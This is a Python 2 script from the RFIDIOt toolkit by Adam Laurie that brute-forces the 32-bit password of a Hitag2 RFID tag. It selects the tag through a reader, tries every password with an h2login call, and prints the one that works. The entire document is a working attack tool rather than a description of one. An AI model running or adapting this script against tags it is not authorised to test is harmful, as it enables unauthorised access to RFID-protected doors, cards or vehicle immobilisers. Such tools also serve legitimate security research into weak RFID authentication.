#!/usr/bin/python


#  hitag2brute.py - Brute Force hitag2 password
# 
#  Adam Laurie <adam@algroup.co.uk>
#  http://rfidiot.org/
# 
#  This code is copyright (c) Adam Laurie, 2008, All rights reserved.
#  For non-commercial use only, the following terms apply - for all other
#  uses, please contact the author:
#
#    This code is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This code is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#


import RFIDIOtconfig
import sys
import os
import time

try:
        card= RFIDIOtconfig.card
except:
        os._exit(False)

args= RFIDIOtconfig.args

card.info('hitag2brute v0.1a')

pwd= 0x00

# start at specified PWD
if len(args) == 1:
	pwd= int(args[0],16)

card.settagtype(card.ALL)

if card.select():
	print 'Bruteforcing tag:', card.uid
else:
	print 'No tag found!'
	os._exit(False)

while 42:
	PWD= '%08X' % pwd
	if card.h2login(PWD):
		print 'Password is %s' % PWD
		os._exit(True)
	else:
		if not pwd % 16:
			print PWD + '                        \r',
	if not card.select():
		print 'No tag found! Last try: %s\r' % PWD,
	else:
		pwd= pwd + 1
	sys.stdout.flush()
	if pwd == 0xffffffff:
		os._exit(False)
